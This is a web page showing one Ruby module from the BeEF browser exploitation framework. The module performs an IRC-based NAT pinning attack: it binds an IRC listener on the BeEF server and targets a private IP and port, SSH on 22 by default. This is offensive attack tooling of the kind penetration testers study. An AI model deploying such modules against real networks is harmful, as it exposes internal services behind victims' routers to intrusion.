Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/nat_pinning_irc/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Irc_nat_pinning < BeEF::Core::Command
7
def pre_send
8
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket('IRC', '0.0.0.0', 6667)
9
end
10
11
def self.options
12
@configuration = BeEF::Core::Configuration.instance
13
beef_host = @configuration.beef_host
14
15
[
16
{ 'name' => 'connectto', 'ui_label' => 'Connect to', 'value' => beef_host },
17
{ 'name' => 'privateip', 'ui_label' => 'Private IP', 'value' => '192.168.0.100' },
18
{ 'name' => 'privateport', 'ui_label' => 'Private Port', 'value' => '22' }
19
]
20
end
21
22
def post_execute
23
return if @datastore['result'].nil?
24
25
save({ 'result' => @datastore['result'] })
26
27
# wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway.
28
sleep 30
29
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket('IRC')
30
end
31
end
32
33